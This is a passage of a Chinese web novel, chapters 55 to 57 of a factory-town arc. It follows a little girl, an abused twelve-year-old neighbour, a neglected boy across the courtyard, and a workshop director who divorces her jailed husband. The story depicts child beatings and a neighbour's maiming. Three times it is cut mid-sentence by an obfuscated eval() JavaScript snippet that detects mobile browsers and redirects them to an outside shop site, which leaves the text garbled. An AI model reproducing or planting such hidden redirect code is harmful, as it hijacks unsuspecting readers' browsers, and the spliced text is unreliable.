郝升祺觉得闵朝言太厉害了,能让他妈夸她。郝主任很严格的,她从来不夸郝升祺。 他想和这么厉害的闵朝言当朋友,但是怕闵朝言还觉得他是一个欺负人的孩子,想来想去,红着眼睛省下了自己最爱的巧克力,当作给朋友的礼物。 “好呀。” 闵朝言点点头,把糖纸上一点融化的巧克力碎也吃掉。 现在巧克力是她第二喜欢的东西了。 闵朝言在心里宣布。 倪淮玉接她回家,路上又给她带了几颗橘子糖,闵朝言接过放在了书包里,打算明天如果白百福和郝升祺又吵起来,还拿这个堵嘴。 “你今天心情挺好。” 倪淮玉看了一会儿闵朝言,忽然笑了。 “你怎么知道?” 闵朝言有点惊讶。她明明擦干净了嘴里巧克力,面上也没有表情啊。 为了确认这一点,闵朝言又用手摸了摸自己的脸。 嗯,没有表情。 “感觉。” 倪淮玉有点得意地抬起下巴。 “你其实是个很简单就能看懂的小孩,只要足够专心地去看。” 他说。 这句话,闵朝言有点不明白。 回到家里,闵朝言先回了自己的新房间写作业,大房间的窗户对面没有楼房,可以看到很远很远的天空。 就连曲家传来的吵闹声,也变得很微弱了。 在那个依然充满了暴力和咒骂的窗户里,男孩顶着红肿的脸颊一次又一次地看向对窗。 没回来, 没有人…… 那个崭新漂亮的房间里,洋娃娃不见了。 为什么? 是他太丑了,太蠢了,太没用了吗? 是吗,是吧…… 男孩空洞的视线越过窗户,却越不过厚厚的墙。 他觉得很疼,这种疼却又不是来自于身上的任何一处伤口,是一种更深的,更加不知道来处的疼痛。 冬天,当伤口很痛很痒的时候,他会把自己埋在雪地里,只要足够冷,身体就会麻木,就不那么痛了。 可是现在的疼,他觉得就算跑到雪地里也没有用了。 比自己的名字更先刻印在他心里的, 是他此刻还不认识的一种感觉。 比疼痛更深刻的东西, 叫痛苦。 见不到她, 就会比所有的伤口一起被撕开还要痛。 吃完晚饭,闵朝言照例拿着钢镚到天井里去坐着。 她今天买了两个冰棍,一个橘子味一个桃子味,等倪淮玉来的时候,她已经把两个都吃完了。 “你来晚了。” 闵朝言说。 她没想两个都吃掉的,但是倪淮玉来得太晚了,她不喜欢冰棍化了之后滴滴答答落在地上的样子。 “对不起,我的错。” 倪淮玉没解释自己比昨天来得还早这件事,又买了两个热乎乎的糖包子放到闵朝言手里。 闵朝言刚吃过冰的,现在咬下一口热乎乎的糖包子,有点满意地点点头,很享受。 “吃吧,你冰棍吃多了胃痛,要吃点热的抵一下。” 倪淮玉咬了口糖包子,忽然“嘶”了一声。 闵朝言抬头看他,没看出什么问题,用手把他的脸拨到了另一边,男孩右脸好大一片红,明显是巴掌印。 再仔细看,他手臂和小腿上,也有明显被什么东西抽打过的红痕。 “你被打了。” 闵朝言说。 “我都习惯了。没出息的孬种不敢和老婆大声说话,就找借口打儿子呗。” 倪淮玉嗤笑了一声,狠狠咬下一口糖包子: “吴承宗是他儿子,倪淮玉就是他的出气筒。改了个姓,他就觉得我不是他亲儿子了,真恶心。男人真是烂东西!” 时年十二岁的男孩倪淮玉骂道,完全不管自己有没有被扫射到。 “我爸爸还好。” 闵朝言想了想每天给自己端温水擦脸的父亲,还是稍微替闵父说了一句话, “可能只有你爸爸是烂东西吧。” “对!他就是烂东西!吴家材,你就是个烂东西!” 倪淮玉又咬下一口糖包子,好像在咬谁的血肉。 闵朝言看着手里的糖包子,她连着吃了两根冰棍,有点饱了,现在吃不完整个糖包子了。 想了想,她抬起手,把还热乎的糖包子贴在倪淮玉的脸上。 脸上的伤口忽然贴上暖呼呼的面皮,倪淮玉愣了一下。 他抬手,掌心覆盖着闵朝言的手,看着她的眼睛,很久很久,忽然叹息一声: “要是我是你的哥哥多好,小孩。” 他爸是个烂东西,一身的糟粕大男子主义,自己又没能耐,赖在有能耐的老婆身上吸血,转头又把随了母姓的儿子当作自己的耻辱,随手打骂,仿佛这样就能重建他早已经像一张浸湿草纸一样烂掉的了的尊严。 她的母亲,倪主任看不到这些吗? 倪主任看得到,她只是选择不看。 当初被生父强逼着嫁给这个丈夫,是倪主任一生的耻辱,她默默隐忍多年,拼命工作升职,撑到自己成为车间主任,撑到生父老迈无力再控制她。 她的复仇终于袭来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634953|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倪淮玉并不是家中唯一一个改从母姓的人,倪主任自己先改了母姓。 她扯了大旗,响应上边的“性别平等”“姓氏平等”口号,带头改了母姓,还拿了个“进步青年”的奖章回来,这下,再封建有威严的老学究也不敢挑她的毛病了,毕竟,那可是和号召做对! 倪主任的丈夫不是丈夫,是她少年时无力反抗的耻辱; 倪主任的儿子当然也不是儿子,那是她被迫低头咽下耻辱的证据。 倪淮玉的改姓,本身就是她用来羞辱丈夫的一把刀,她并没有考虑过倪淮玉的处境,也并不会关注倪淮玉身上的伤口。 就像是她从前没有在意过惹是生非试图用淘气获得关注的吴承宗,现在她也不会在意永远笑着却从来没有笑意的倪淮玉。 但即便如此,倪淮玉依然站在了她这边,他不觉得自己爱母亲,他只是极度地厌恶着父亲。 倪淮玉不爱任何人,因为从来就没有人爱过他。 “你是吃不下了,塞回给我吧?” 倪淮玉笑了一声,用闵朝言的糖包子揉了揉脸蛋。 他似乎想伸手抱一下闵朝言,可最终还是什么都没有做,只是轻轻用鞋尖又碰了一下她的鞋子。 他不敢碰太多,他的鞋已经很旧了,上面有泥土的痕迹,和闵朝言干净的小白鞋碰在一起,太过突兀了。 闵朝言第二天快中午才醒过来。 她昨天被吵得没有睡好,困得早,闵长风心疼她,早上没有叫她起床,反正是周末,小孩子睡多点就当长高了。 闵朝言第二天是在嗑瓜子的声音里醒来的。 听着这个“喀嚓喀嚓”的节奏,闵朝言知道,程新又来串门了。 程新爱热闹,喜欢说一点家长里短的事儿,一聊能聊一天,一般人都没耐心和她说那么久的话,只有闵长风耐心好,愿意听她说。 “你听说了吗?曲老三让人把腿打断了,舌头还绞了!打得好惨哟,也不知道是惹到什么人了,被扔在垃圾场里,差点就给埋了!” 程新说起这个,脸上一阵后怕。 “这么严重?” 闵长风给她又续了一盘瓜子。 “可不是嘛!谁让他到处在街上混,我看啊,肯定是惹到了什么那些社会青年了!你不知道吧,他偷了家里的钱,去赌博呢!之前几天,他不刚因为打架被拘了,这才放出来多久呀!” 程新絮絮叨叨说着,发现可能导致曲老三被这样暴打一顿的可能性实在太多了,她也分不清哪些是真的了,只挑着那些最吓人的来说。 “那他现在没事吧?” 闵长风不咸不淡地接话。 “命是保住了,医生说那些人估计也不是要杀他,没有捅刀什么的,腿是硬生生打折的!舌头接回来一截儿,还能说话,就是说不清楚了。作孽哟……你说他以前说话那么脏,这是不是报应啊?” 程新唏嘘了一声。 厂子里的人少有看得上曲家的,主要还是曲老头太贼心眼,占便宜没够,总仗着自己资历老到处欺负新来的工人。 前几年,曲老头因为自己赶在计划生育之前生了两个儿子这件事,可得意得很,鼻子都要翘到天上,尤其是对那些家里只有一个女儿的,更是处处讽刺。 谁能想到,这两个儿子,一个只管他们伸手,要推荐信要钱要房,另一个就更完蛋了,直接就一口一个畜生地骂他,还敢上手打他! 大家都装作没听见,可筒子楼里有什么秘密?那么薄的墙,谁家放了个屁都听得清清楚楚,谁不知道别人的那点腌臢事啊? “真是报应呀……” 闵长风也磕了一口瓜子。 她的手抬起,刚好掩住自己唇边的一点笑意。 55. 芳芳纺织厂(7) 周末不上学,闵朝言打算去书店租两本故事书看。 闵长风不放心女儿一个人出门,只是也不好出口就这么把正说到兴头上的程新赶走,刚想说让闵朝言等她爸回来之后带着她出去,就看到闵朝言换好了鞋,到隔壁敲响了倪主任家的房门。 “倪淮玉,我想去书店。” 她敲门。 开门的是倪主任,她是一个戴着银边眼镜的中年女人,瘦削精干,手上还拿着一支水笔,估计是正在工作。 倪主任不到四十岁就当上了车间主任,凭借的就是日日夜夜的辛苦加班,她是纺织厂有名的工作狂人。 “朝言来啦?快进来,阿姨给你拿糖果吃。” 看见闵朝言,倪主任冷淡的脸上流露出一点笑意,她不喜欢自己的孩子,却很喜欢闵长风的女儿。 闵长风和丈夫聊天的时候曾经打趣,自家能分到和倪主任隔壁的房子,依的都是闵朝言的福气。 “好呀。倪阿姨,我想吃橘子糖。” 闵朝言乖乖牵着倪主任的手走进去。 和倪淮玉口中总是充满了矛盾和压抑的“家”不同,倪主任的家其实非常整洁,东西很少,但是每一样都看上去很有质感。 不过,六岁的闵朝言还不理解质感是什么,只是觉得沙发坐起来比自己家舒服多了。 “倪淮玉在家吗?” 她问。 “阿姨也不知道呀,不过阿姨今天有空,陪你去书店好不好?” 倪主任笑了下,给闵朝言拿出来一盒糖果。 和用油纸简单包着的奶糖不同,这盒糖果用一个圆形铁罐子装着,罐子外头有彩色的精致花纹。 闵朝言低下头打开罐子,看见里边满满放着各种颜色的糖果,外面裹了一层白白的糖粉,闻起来有点香。 她挑了半天,选了一个黄色的半透明糖果,放进嘴里,眼睛一亮: “好吃!” 甜甜的,一点也不腻,是柠檬味,很清爽。 每个颜色的糖果味道都不一样吗? 闵朝言有点好奇,小手在上面又晃了两圈,想了想,还是把罐子盖上了,递回给倪主任。 “谢谢倪阿姨。” 她含着糖,声音有点糯糯的含糊。 “这些都是朝言的,你带回家,每天吃一块,别吃多了,蛀牙可疼了。” 倪主任精干的脸上也溢出温柔笑意,放下水笔,摸了摸闵朝言的脸蛋。 “走吧,咱们去书店。” 她又牵上闵朝言的手。 闵朝言走出倪主任的家,回头又看了一眼,最里面的小房门被打开了,倪淮玉对着她摆摆手告别。 “倪……” 她刚想开口,却见倪淮玉摇摇头,食指抵住了自己的嘴唇。 他穿着短袖,手臂上的青紫颜色,闵朝言隔着好远,却还是能看得清清楚楚。 “嗯?” 倪主任低头看她。 “倪阿姨喜欢看什么书啊?” 闵朝言收回视线,乖巧地问。 “嗯,阿姨喜欢看很多书,喜欢看诗歌,也喜欢看武侠小说,还有一些对你来说很无聊的大人书……” 倪主任笑着回答,牵着闵朝言逐渐走远。 倪淮玉终于打开房门。 听着属于闵朝言的小孩声音逐渐消失,他来到空荡荡的客厅里坐下。 茶几上有一点白色的糖粉,是闵朝言刚才开罐子时掉下来的。倪淮玉用手指拈去糖粉,沉默着将指尖放进嘴里。 很微弱的甜,转瞬即逝。 他就只尝过这一点甜。 倪主任很大方,闵朝言本来只想租两本故事书,她大手一挥,直接给她买了一整套的百科全书,要求是闵朝言不许再看《白雪公主》了。 “这些书都不好,公主才不需要王子来拯救。” 倪主任把闵朝言手里的童话书放下,蹲下来,看着她眼睛: “朝言,公主可以自己杀掉陷害她的坏人,杀掉看着她陷入苦境的国王,自己做自己的国王。” “不管谁说这样不对,你都不要信。” 倪主任摸着闵朝言的头发,说得很慢,很认真,她的眼睛里,有闵朝言看不懂的东西。 “嗯,好。” 闵朝言点点头,对着倪主任露出一个笑容。 她不是太听得懂倪主任在说什么,但妈妈常说倪主任是一个很厉害的人,所以闵朝言决定相信倪主任的话。 晚上,闵朝言抱着自己今天新得到的一套百科全书,一口气看了二十多页,她喜欢把每个字都细细读一遍。 “……cong?” 闵朝言遇到了一个不认识的字,有点苦恼地皱起眉。 百科全书上标注了拼音,但闵朝言还是不懂这个字的意思。她起身去自己原来的小房间里拿新华字典。 她找到字典,正要离开,却感到有一股视线正直直盯着她。 嗯? 闵朝言抱着字典抬头看去,对窗里,瘦骨嶙峋的小孩站在原地。 来了, 回来了…… 洋娃娃,回来了。 男孩站在原地,怔怔看着对窗的景象,视线和闵朝言交汇。 他不自觉抬起手,比同龄人要瘦小很多地手碰在玻璃上,似乎想要碰触到什么除了冰冷之外的东西。 闵朝言眨了眨眼睛,转身出去了。 男孩的脸颊抵在玻璃上,视线低垂,眼神落寞下去,却见扎着四股辫的洋娃娃又跑了回来。 她手里拿着一张纸,上面写了两个大字: 【天井?】 似乎是担心他可能不认识字,又简单画了一个图,四方形的楼当中有一个空白,被圈起来,画了一个感叹号。 男孩的眼神随着这个在模糊视线中晃动的感叹号被点燃,他很用力点头,也不管被扯动的淤青带来怎样的疼痛。 “嗯!” 他的喉咙里顶出来一个很重的应答。 闵朝言路过客厅,看着餐桌上的糖果罐子,伸出手拿上了。 今天的天井很热闹,有不少人带着孩子在里边玩耍,小孩子叽叽喳喳的声音响亮,闵朝言坐在台阶上,把糖果罐子往自己的口袋里又塞了塞。 一双洗到发白,上面还有这几块补丁的布鞋停在她面前。 闵朝言抬起头,男孩正看着她。 这次,她看到了,眼前人的眼睛里,倒映出了自己的身影。 “我叫闵朝言。” 她开口,把自己的糖罐子打开,向他的方向送了送。 “你可以选一个。” 她说。 男孩的眼睛却没看糖。 他定定看着闵朝言,好像发现了什么之前在世界上从来没有见过的存在,怎么也看不够。 “你不吃吗?很好吃的。” 闵朝言说。 如果不是因为她真的很好奇这个“空心的小孩”,她是不会舍得分享自己的糖果的。 “……吃。” 他的声音不像小孩子,又干又哑,说话的声音很小。 他伸出手,却没拿,双手合在一起掌心向上,对着闵朝言。 闵朝言给他拿了一个黄色的柠檬糖。 他捧着糖,像是对待出生的小动物一样,小心翼翼地合上掌心,放在自己胸前的口袋里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639763|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他身上的其实也不算是正经的“衣服”,几块布拼在一起的套头衫,胸口用碎料缝了一个小小的口袋,衣服很大,估计是预备着要穿好几年的。 男孩坐在她身边,屁股只碰到台阶旁边一点点的位置。 “为什么不吃?” 闵朝言问。 “……想留着。” 男孩依旧很小声地回答。 闵朝言看着他,想起之前在集市上看到的,那些买小鸡仔的摊子。她觉得这个男孩就像一只小鸡仔,而且是那种颤颤悠悠,被挑剩下的小鸡仔。 “你叫什么?” 闵朝言问。 “……” 男孩摇摇头。 闵朝言也不知道他是不想说,还是没有名字。 “你经常被打吗?你们家总是好吵。” 闵朝言说,把糖罐子合上。 她有点心痒痒,想要再吃一颗,可她答应了倪主任一天只吃一颗,只能遗憾地把罐子又塞回到小口袋里。 “……对不起。” 男孩深深低下头。 过了好久,他才说: “因为吵,才走了吗?” 他说话说得很不好,句子颠三倒四,也不说清谁是谁,闵朝言思考了一下才明白他的意思。 “是吧。” 她回答。 “……现在,不吵。” 男孩小心翼翼地说。 闵朝言知道为什么,她早上听了母亲闵长风和工友程新聊天的内容。她认人很快,记性也好,能辨认出今早谈话中的“曲老三”就是那个曲家比较年轻的儿子。 “因为你哥受伤了?” 她问。 “……嗯。” 男孩慢慢点头,声音很小很小地说了一句: “真好。” 他看了看闵朝言,眼睛不停眨巴着,好像想说话,又不太敢的样子。 “你想说什么?” 闵朝言问。 “能,回来吗?” 他的声音更小了,肩膀轻轻颤抖着。 “我不知道。” 闵朝言摇头。 “……” 男孩的眼神沉沉落下去,他抬起手,小心翼翼摸了摸口袋里的糖。 “你可以来找我。” 闵朝言开口。 男孩没有说话,脑袋猛地抬起来,闵朝言有点担心他细细的脖子会突然被折断。 “……这里?” 他很小声地问。 “我晚上吃完饭之后,会来这里坐一下,看天空。” 闵朝言向上指了指,抬起头看着天空。 “外面的天空都没有形状,这里的天有形状,我觉得很有意思。” 她说。 男孩的眼神迷茫,他完全没有理解闵朝言这句话。 他学着闵朝言的动作,也抬起头去,细细的脖子费力地支撑着脑袋,湛蓝如洗的天空闯进他的视线里。 真的,四方形的, 很蓝很蓝,很亮很亮,很轻很轻。 上面有云缓慢地移动着, 像是慢吞吞被推着走的一大团棉花糖。 原来天空是这样。 “我很喜欢天空。” 闵朝言说。 那,他也很喜欢天空。 男孩默默地想着。 比起喜欢天空, 还要更喜欢洋娃娃。 他很小心地收回视线,转过头去,看着闵朝言的侧脸,轻轻地,用自己的手指头,无声地碰了一下她落在台阶上的衣角。 和他想象中一样, 很柔软,很温暖。 56. 芳芳纺织厂(8) 周日早上,闵家一家人来到了医院。 走到其中一间病房,推门进去,这是一个八人病房,吵吵闹闹的。 在其中一个帘子后面,曲家夫妇一个满脸愁容的抽烟,一个沉默着给儿子喂饭。 躺在病床上的正是曲家老三。 他双腿被硬生生打折成好几段,现在包上石膏被吊起来,身上其他的地方也都是大大小小的伤口,都缠上白纱布之后,他活脱脱像个木乃伊。 “——!*#?!” 被剪掉半截的舌头说不清楚话,他大张着嘴表情凶狠,被灌下一口滚烫的粥。 “咳——!咳咳咳咳!” 曲老三瞪着眼,作势想要打人,手抬起来的瞬间就疼白了一张脸,又哀嚎着放下去。 曲家夫妇对他的哀嚎充耳不闻,依旧沉默着,像是两尊早已经死去风化的雕塑。 闵朝言被母亲牵着走进病房里,消毒水味和饭菜的味道混在一起,让她鼻尖微动,轻轻瘪了一下嘴。 “常姐,曲哥,我来看看孩子。” 闵长风开口说,脸上带着过一分冒犯,少一分冷漠的笑容。 在她身后,闵父默默把手中的一小篮苹果放在台面上,对着夫妇俩点头。 “是小闵啊……” 被称为常姐的中年女人放下手中的勺子,对着闵长风和闵朝言露出一点笑。 “太客气了,还带什么水果啊。” 她说着,自己站起来,把凳子让给闵长风。 另一边,老曲什么也没说,屁股牢牢坐在凳子上。 “老曲,人家都过来了。” 常姐不赞同地低声说。 老曲看了一眼闵长风,又看了一眼闵父,鼻子里哼出一声来,声音很低: “没个男人样子,让女人骑在头上!” 闵父的视线平静地转移到他脸上。 “老曲他就是瞎说话,你们这新式家庭也很好的。朝言这么聪明漂亮,我看着真喜欢。” 常姐忙打圆场。 “没事的,常姐,新式家庭嘛,我农村那里的老人家们,也都在努力学习呢,都是需要过程的。” 闵长风笑着说。 老曲的脸顿时紫了,他原本也是农村出身,娶了个知青老婆才跟着回迁到了城市里——条件是,他必须同意离婚。 靠着前妻的帮助才成了厂里正式员工,老曲马不停蹄从农村娶了一个新老婆,就是现在的常姐。 这二十年里,老曲从不提自己的出身,也不许常姐提,他自诩自己现在是城市户口了,和农村的亲友早断了往来。 她是在说他还比上那些农村的泥腿子老家伙! 老曲的胸口剧烈地起伏着。 “就生了个丫头片子,你得意什么!不下蛋的——” 他这话卡在了喉咙里,不是自愿的,因为闵父的手已经牢牢攥住他的领口。 闵父是锅炉房的工人标兵,每个月完成的任务量都是工友的两倍,一身腱子肉仿佛铁做的,鼓起来连衣服都绷紧了。 “你,一个大男人,就这么让女、女——咳咳!咳咳!” 老曲从喉咙里硬挤出来两句话,就喘不上气了。 “好了,老公,没事的。” 闵长风反而笑了,抱着闵朝言坐在自己腿上,轻轻摸着女儿的四股辫。 “嗯。” 闵父松开手。 “曲哥当然喜欢儿子了,过得热闹嘛。偶尔辛苦一点,想想儿子,也都值了不是?” 闵长风笑着看了一眼躺在床上,此刻正剧烈挣扎着的曲老三,声音很温和: “都说小儿子像爸爸,这么一看,还真是啊。这孩子和曲哥长得真像。就是这个嘴呀……” 她说到这里,又犹犹豫豫地顿住,轻轻拍了一下自己的腿,看向常姐,一脸歉意: “哎呀,常姐,不好意思,我说错话了。” 常姐定定看了一会儿闵长风,沉默干瘪的脸上有一点怔愣,连忙摇摇头: “没事的没事的。” “看到小曲这样,我就放心了。以后咱们也是隔窗的邻居了,肯定要互相照应的。有什么我能帮忙的,常姐你尽管开口。” 闵长风笑着对常姐说。 “没什么没什么。” 常姐低下头,粗糙的掌心抹了一把膝盖,布料发出沙沙的摩擦声。 看着已经被气到说不出话的老曲,闵长风带着女儿丈夫离开病房。 房门关上的一瞬间, 老曲抄起台面上的水杯狠狠向老婆砸去! “那个小娘们,那个小娘们!就是在骂我!她是看我生了个畜生儿子,过来笑话我来了!她算什么东西?一个女人居然敢骑在男人头上了?!” 老曲的胸膛剧烈地起伏。 “都怪你,怪你不争气,生了个畜生!你个糟烂货!” 老曲极力地压低了声音,对着妻子吐出恶毒的咒骂。 常姐沉默着蹲下,捡起地上那个经过多次摔打之后,已经坑洼变形的搪瓷杯,没说话。 她又成了沉默的雕塑,辱骂和折磨早已经不能在她身上留下更多痕迹。 躺在病床上的曲老三奋力挣扎着,眼中的愤怒与恐惧混杂,只剩下半截的舌头发出呜咽嘶吼一样的声音。 “闭嘴!畜生!闭嘴!” 老曲拿起那一篮苹果,狠狠打在曲老三的断腿上。 在封闭的病房里,帘子一拉上, 人们就假装所有的哀嚎和狼狈也一起消失,谁也听不见。 闵长风牵着闵朝言走出医院,在女儿面前蹲下。 “言言,你知道妈妈为什么要带你来这里吗?” 她问。 闵朝言摇头,等待着她的答案。 “因为妈妈想让你知道,这些人看上去声音很大,很吵,但其实他们什么也不是,他们很容易被激怒,也很容易被击溃。你知道击溃是什么意思吗?” 闵长风说。 闵朝言点头。 她在字典上看到过,击溃就是把敌人彻底打败的意思。 “你跟着妈妈的姓,还是一个很聪明很聪明的女孩子。所以,当你越长大,就会有越多人议论你,攻击你,他们想让你失败,让你被打败,这样他们就可以嘲笑你,说你本来就不行。” 闵长风握着女儿的手,看着她的眼睛,声音很认真: “但是你要知道,只要你不决定认输,你就不会输。那些人,都只是声音很大,却没有一点力量的虫子而已。想要的东西,就要去拼命。你不需要动作漂亮,也不需要别人觉得你对。” “当你赢了,你就对了。” 闵长风紧紧抱住女儿。 闵朝言靠在母亲的怀抱里,对这些话其实一知半解。 她觉得,这些话母亲不仅仅是要说给她听,更多地,是闵长风想要说给自己听的。 闵朝言轻轻拉住母亲的手。 难得周日,一家人在外面逛了一天的公园,晚上还很奢侈地下了馆子,闵朝言连着吃了好几块锅包肉,觉得自己打出来的嗝都是甜的。 回到五号楼的时候,天已经黑了,天井里却还有很多人,三三两两聚在一起,不知道在说什么。 “这是怎么回事?” 闵长风让丈夫抱着女儿先回家,自己找到了程新。 程新可是这一片有名的八卦,这点事当然早已经弄清楚了,却没有像以前一样拉着闵朝言就开始竹筒倒豆子,眼神里很有点犹豫。 “哎,这事我老觉得不该说,但是肯定要传开的。真是造孽啊!” 程新不安地看了看周围,把闵长风拽到了楼道里,又左右看了看没有人,才低声道: “倪主任家那个,让拘了!” 拘了? 在工厂中,一个正式工人如果被拘留,可是一件极其耻辱的事情,轻则被人议论纷纷,重则可能影响工作,甚至被开除! 尤其是最近,工厂内部的精神建设要求抓得很紧,作风问题更是很重要的一项。 “怎么回事?” 闵长风也压低了声音问。 “他呀,真是个糟烂货,和工友喝完酒,人家回家了,他居然去了洗头房!还是那种,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645478|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种……” 程新支支吾吾说不出话,脸色满是尴尬。 闵长风的预感更不好了。 “那种,好几个人的!一起!” 程新低声说着,翻了个白眼,显然是被恶心到了。 “据说啊,被抓到的时候,好几个人裹了个被子就被拽出来了,好多人都看见了!这下呀,估计要被判了!” 闵长风没说话,她一时间居然有点喘不过气来。 “你说啊,这倪主任工作成绩这么好,眼见着年底就要表彰升职了,居然出这个事!” 程新有点痛心。 “你和倪主任关系好,要不,安慰安慰她?” 她推了推闵长风的胳膊。 “我再想想吧。这个事你谁也别说!就当不知道!” 闵长风握住程新的手,一脸严肃。 “我知道,你真当我傻啊?老曲家那点谁都知道的破事说说无所谓,这种大事,就算会传开,也绝对不能是从咱们车间工人嘴里传出去。” 程新说着,叹息了一声: “倪主任虽然严格,但对咱们工人都挺好的,谁家有需要帮忙了,她从来也不推辞,还总是鼓励咱们上夜校考学历。谁能想到啊……” 在芳芳纺织厂这样的单位里,不管倪主任自己多清白,多有业绩,丈夫担上了案底,她就再也不可能往上走了。 闵长风也深深叹了一口气。 告别程新,她走到家门前,转头看着隔壁的房门,犹豫了很久,最终还是没有上前敲门。 一个那么骄傲又那么拼命的人, 大概并不希望有人去安慰她。 闵长风又转身下楼。 “言言,来,你把这盘水果给倪阿姨送过去,好不好?” 闵长风把一盘水果递给闵朝言,摸了摸她的头发。 这是她刚下楼买的,闵长风咬咬牙,买了一个大芒果,半盒樱桃,还有半盒草莓。 一共四十块钱,几乎是家里一周的菜钱了。 “阿姨要是不让你回来,你就陪她待一会儿,好不好?” 她亲亲女儿的小脸蛋,柔声问。 “好。” 闵朝言点头。 在帮女儿敲响房门之后,闵长风就躲进了楼道间的阴影里。 “倪阿姨,你想吃水果吗?” 闵朝言捧着白瓷盘子,抬头看着倪主任。 “……好,谢谢朝言。” 倪主任沉默了一会儿,点点头。 在关上门前的一瞬间,倪主任的目光落在楼道里的那一片阴影,眼睛悄悄红了。 昨天还头发整齐梳起,带着银丝边眼镜的倪主任,此刻头发凌乱地散落在肩膀,眼镜也没有带,身上穿的是一件很久的衬衫,眼睛有很重的红痕。 闵朝言不知道发生了什么,会让一个人突然就变得这么伤心。 “倪阿姨,吃水果。” 闵朝言拿了盘子里最大的草莓,递到倪主任嘴边。 倪主任呆呆看了一会儿,低下头,握着闵朝言的手,自己咬了一口草莓。 闵朝言感到手背上有水滴落下来,湿答答的。 那是倪主任的眼泪。 “阿姨给你切水果吧?” 很慢很慢地吃完了一个草莓,倪主任抬起头来,红着眼睛,却露出一点笑脸。 把有拳头大的芒果切好,放在三个碗里,倪主任走过去,敲了敲最里面的房门。 倪淮玉从门后走出来,他的眼神落在闵朝言身上,硬扯出了一个笑容。 “吃芒果吧。” 倪主任说。 倪淮玉没说话,坐到闵朝言身边,默默拿起碗,吃了一口。 身边,一声压得很低的呜咽声传来,闵朝言转过头看着他,倪淮玉深深低着头,眼泪大颗大颗地落进碗里。 当天晚上,闵朝言是在倪主任家睡的。 倪主任抱着她睡在大床上,倪淮玉放着自己的房间不睡,在她们的房间里打了个地铺。 一弯很明亮的月亮渐渐落下, 不管怎样,新的一天总要开始。 57. 芳芳纺织厂(9) 一周之后,劳教所。 倪主任坐在玻璃墙外侧,灰白的灯光打在她脸上。 她瘦了一圈,但并不憔悴,银丝眼镜后的目光锐利,在这灰色压抑的空间里,依然挺直后背,下巴微微抬起。 玻璃窗另一边,男人形容狼狈,眼下青黑一片,眼神恍惚浑浊,灰色囚衣下,他瘦成一副骨骼扭曲的骷髅。 “劳教所这边的人说,你不肯签字离婚,所以特批我进来探视你,希望你配合工作。” 倪主任声线平直,每个字都咬得很准。 “……离婚?我不同意,我不离!” 男人在几天内花白的头发像是蓬草炸开,他灰败的脸上,露出被恶意撑到撕裂的笑容: “我要赖着你,拖累你一辈子!你当上车间主任有什么用?你是我的老婆!你永远也不可能再往上走了,你一辈子要被人戳脊梁骨!” 他恶狠狠地吐出带着浓稠毒汁的诅咒,眼球被红血丝盖满,仿佛下一秒就要跳出眼眶: “你!完了!” 倪主任什么也没说,安静地看着他。 她的眼神里没有愤怒,也没有仇恨,仿佛眼前这个人不是毁灭了她前半生事业的罪魁祸首, 只是一只濒死挣扎中,垂死挣扎的虫子。 “我今年年底很可能要往上升,这是大家都知道的事。所以,当你被抓的时候,我想过,你是为了阻挠我,故意被抓的。” 倪主任抬起下巴,看着玻璃对面狼狈难堪的男人,忽然笑了一声。 她摇了摇头。 “我现在知道了,你不是。你就真的只是那么蠢,那么没有脑子。” 隔着玻璃,男人的目光充满愤怒,可他却不敢直面倪主任的眼神。 在这目光下,他从来是一片被一览无余的污泥。 “你说的对,不管离不离婚,我的事业都毁了,最晚明年,我连车间主任这个身份也保不住了,会被平调到不重要的闲职上,一直待到退休。厂子里的议论和指指点点,当然也不可能会少。” 倪主任叙述着,仿佛这不是她自己的人生,而是某个失败的故事。 男人的喉咙里带着血痰,呼哧呼哧笑出声来,像一个破旧的老风箱。 “所以,我辞职了。” 倪主任看着他的眼睛,瘦削精干的脸轻笑: “圳城那边有一个外企来接触了我,高级经理,月薪两万块,奖金另算。入职三年之后,他们会出资资助我留学深造,读取大学学历。” 男人的狞笑顿住了。 “中层领导的辞职申请一般很难审批下来,但是因为你的特殊情况,厂领导给我批了特例。说起来,我还要多谢你。” “你当然可以不签字,我会走诉讼程序。不过,到了那个地步,我就需要提供一些更多的证据,例如夫妻感情破裂的证明,我觉得你的那些杂志非常适合作为证明,你说呢?” 在男人呆滞的沉默中,倪主任站起身,整理着衬衫下摆,她依然那样冷静,整洁,无坚不摧。 “吴志,从头到尾,你毁灭的,只有你自己的人生。” 她的视线透过眼镜,如同一把锋利的解剖刀。 剖开他的丑恶,愚蠢,自私与癫狂, 让它们在太阳底下熊熊燃烧着。 倪主任,不, 倪盛鸣转身离开,她走出灰暗的灯光,走出阳光照不进的房子, 